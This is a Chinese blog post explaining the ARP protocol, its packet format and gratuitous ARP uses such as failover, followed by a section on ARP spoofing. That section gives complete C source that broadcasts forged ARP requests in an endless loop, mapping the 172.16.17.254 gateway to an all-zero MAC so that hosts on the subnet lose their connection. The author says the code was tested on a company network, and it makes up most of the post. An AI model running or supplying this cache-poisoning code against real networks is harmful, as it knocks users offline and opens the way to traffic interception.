• 浅谈ARP协议以及应用


    0. 前言

      本章主要简单的介绍ARP的协议格式,主机如何发送和处理ARP报文,以及免费ARP。

    1. ARP协议原理

      ARP,全称Address Resolution Protocol,地址解析协议,在网络中,有IP地址和MAC地址,在链路层发送报文时使用的是MAC硬件地址,这时需要将IP地址转换为48bit MAC地址,这就会使用到ARP协议。

      如下,有两台主机,239主机ping向238主机。当本地ARP缓存中没有238主机对应的项时,会发起ARP广播请求,之后使用arp命令查看ARP缓存,可以看到238主机对应的MAC,

      在linux下使用tcpdump工具查看底层数据流可以得知:

    其序列图以及ARP缓存如下:

    在239主机查看arp缓存结果:

    2. ARP协议格式

      下图为ARP协议报文的格式信息(图百度得来),这里如上例子,发送的ARP请求报文中,以太网源地址即为239主机,而以太网目的地址则为ff:ff:ff:ff:ff:ff,发送端以太网地址和IP地址为239主机,目的以太网地址为全0,目的IP地址为172.16.17.238

    3. 免费ARP

      gratuitous ARP,主机发送查找自己的ARP地址,即主机发送的目的IP地址和发送端IP地址均为为自身,并且以太网源地址和目的以太网地址,发送端以太网地址均为自身的MAC地址,而以太网首部的以太网目的地址则为广播ff:ff:ff:ff:ff:ff。

      这样子有两个作用,一个是查找是否有IP重复,二是更改同一网段下的主机ARP缓存对应的MAC地址。

      对于作用二,有几个用途,可以被用作主备切换,即主机和备机共用一个VIP(Virtual IP),当在其它服务器ARP缓存中保存一个映射,VIP -> 主机MAC,当备机检测到主机宕机后,则发送免费ARP,更新其他服务器ARP缓存,形成VIP -> 备机MAC映射,这样就完成了简单的灾备。

      例外一个之一用途就是ARP欺骗,数据窃听等。

    4. ARP欺骗

      原理是利用ARP来实现。可以利用为攻击主机或者路由器等,使得其不能上网之类的,网络执法官原理就是这样。下面的程序实现了一个简单的免费ARP,更改同一网段(172.16.17.*)下主机ARP缓存中网关的映射,将其缓存映射为一个不存在的MAC地址。

      下面程序使用C实现,利用socket创建AF_PACKET来类型的套接字来直接操作链路层数据。已在公司的内部网络中测试过。

    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netpacket/packet.h>
    #include <net/ethernet.h>
    #include <linux/if_ether.h>
    #include <string.h>
    #include <arpa/inet.h>
    #include <stdlib.h>
    #include <assert.h>
    #include <stdio.h>
    #include <net/if.h>
    #include <errno.h>
    
    #define HARD_TYPE_ETHER    0x01    //硬件类型
    #define PROTOCOL_IP        0x01     //IP协议类型
    #define MAC_ADDR_LEN    0x06    //硬件地址长度
    #define IP_ADDR_LEN        0x04     //IP地址长度
    
    #define ARP_OP_REQUEST    0x01    //ARP请求操作
    #define ARP_OP_RESPONSE    0x02     //ARP响应操作
    
    //ARP报文
    typedef struct arpPkg
    {
        unsigned short sHardType;      //硬件类型
        unsigned short sProtocolType;  //协议类型
        unsigned char cHardAddrLen;    //硬件地址长度
        unsigned char cIpAddrLen;      //映射的协议地址长度
        unsigned short sOpType;        //操作类型
    
        unsigned char aSendMac[6];     //发送者MAC地址
        unsigned char aSendIP[4];      //发送者IP地址
        unsigned char aDstMac[6];      //目的地MAC地址
        unsigned char aDstIP[4];       //目的地IP地址
    } ArpPkg;
    
    //将本机字节序转换为网络字节序
    //并返回偏移长度
    int HostToNetByte(char *pNet, unsigned char *aHostByte, int nLen)
    {
        int i, j;
        for (i = nLen - 1, j = 0; i >= 0; --i, j++)
        {
            pNet[j] = aHostByte[i];
        }
    
        return j;
    }
    
    static int GetHex( char cAsc )
    {
        if ( isdigit( cAsc ) )
            return cAsc - '0';
    
        if ( isalpha( cAsc ) )
            cAsc = tolower( cAsc ) - 'a';
    
        return cAsc + 10;
    }
    
    //将Asc转换为Hex
    int AscToHex( const char *pAsc, char *pHex, int *pHexLen )
    {
        int i, nHexLen;
        int nAscLen = strlen( pAsc );
    
        for ( i = 0, nHexLen = 0; i < nAscLen; i += 2 )
        {
            pHex[nHexLen++] = (GetHex( pAsc[i] ) << 4) | (GetHex( pAsc[i + 1] ) & 0xF); //高字节 | 低字节
        }
        *pHexLen = nHexLen;
    
        return 0;
    }
    
    //字符串转为HEX后再转为网络字节序
    int AscToNetByte(char *pAsc, unsigned char *pNetByte)
    {
        unsigned char aHostByte[7];
        int nHostByteLen = sizeof(aHostByte);
        AscToHex(pAsc, (char *)aHostByte, &nHostByteLen);
    
        return HostToNetByte(pNetByte, aHostByte, nHostByteLen);
    }
    
    
    //组Arp报文,并返回报文长度
    int BuildArpPkg(ArpPkg * pArpPkg, char *pPkg)
    {
        int nPos = 0;
    
        nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sHardType, 2);
        nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sProtocolType, 2);
        pPkg[nPos++] = pArpPkg->cHardAddrLen;
        pPkg[nPos++] = pArpPkg->cIpAddrLen;
        nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sOpType, 2);
        nPos += HostToNetByte(pPkg + nPos, pArpPkg->aSendMac, 6);
        nPos += HostToNetByte(pPkg + nPos, pArpPkg->aSendIP, 4);
        nPos += HostToNetByte(pPkg + nPos, pArpPkg->aDstMac, 6);
        nPos += HostToNetByte(pPkg + nPos, pArpPkg->aDstIP, 4);
    
        return nPos;
    }
    
    //初始化ARP公共信息
    static void InitArpCommField(ArpPkg * pArpPkg, int nOpType)
    {
        pArpPkg->sHardType = HARD_TYPE_ETHER;    //以太网类型
        pArpPkg->sProtocolType = ETH_P_IP;        //IP数据包协议
        pArpPkg->cHardAddrLen = MAC_ADDR_LEN;
        pArpPkg->cIpAddrLen = IP_ADDR_LEN;
        pArpPkg->sOpType = nOpType;
    }
    
    
    //组ARP请求报文
    int BuildArpRequest(unsigned char *pPkg, char *pSendMacStr, char *pSendIpStr, char *pDstMacStr, char *pDstIpStr)
    {
        ArpPkg stArpPkg;
        memset(&stArpPkg, 0, sizeof(ArpPkg));
    
        InitArpCommField(&stArpPkg, ARP_OP_REQUEST);
    
        AscToNetByte(pSendMacStr, stArpPkg.aSendMac);
        AscToNetByte(pSendIpStr, stArpPkg.aSendIP);
        AscToNetByte(pDstMacStr, stArpPkg.aDstMac);
        AscToNetByte(pDstIpStr, stArpPkg.aDstIP);
    
        return BuildArpPkg(&stArpPkg, pPkg);
    }
    
    
    int main(int argc, char const *argv[])
    {
        char *pMac = "ffffffffffff";        //目的MAC   广播
        char *pDstIP = "AC1011FE";            //目的IP     172.16.17.254
        char *pTrickMac = "000000000000";    //伪装的MAC
        char *pTrickIP = "AC1011FE";        //伪装的IP,172.16.17.254
        unsigned char aMacByte[7];
        int nFd = socket(AF_PACKET, SOCK_DGRAM, 0);
    
        //初始化链路地址信息
        struct sockaddr_ll sockaddr;
        memset(&sockaddr, 0, sizeof(struct sockaddr_ll));
        sockaddr.sll_family = htons(AF_PACKET);
        sockaddr.sll_protocol = htons(ETH_P_ARP);
        sockaddr.sll_halen = htons(6);
        AscToNetByte(pTrickMac, aMacByte);
        memcpy(sockaddr.sll_addr, aMacByte, 6);
        sockaddr.sll_ifindex = IFF_BROADCAST;    //广播
    
        //创建免费ARP请求报文
        unsigned char aPkg[64] = {0};
        int nPkgLen = BuildArpRequest(aPkg, pTrickMac, pTrickIP, pMac, pDstIP);
    
        //不间断发送ARP请求
        while (1)
        {
            int nRet = sendto(nFd, aPkg, nPkgLen, 0, (struct sockaddr *)&sockaddr, sizeof(sockaddr));
            if (nRet == -1)
            {
                perror("Error");
                exit(-1);
            }
            usleep(100);
        }
    
        close(nFd);
        return 0;
    }

      

  • 相关阅读:
    继承
    构造函数,重载
    Java Scanner学习记录
    20131204-数据库基础
    20131128-正则表达式与委托
    20131125-序列化与正则表达式
    20131127-正则表达式
    20131120-接口字符串-小鸭子练习
    20131118-静态类抽象类-外部设备
    20131117-练习面向对象
  • 原文地址:https://www.cnblogs.com/jabnih/p/4982214.html
Copyright © 2020-2023  润新知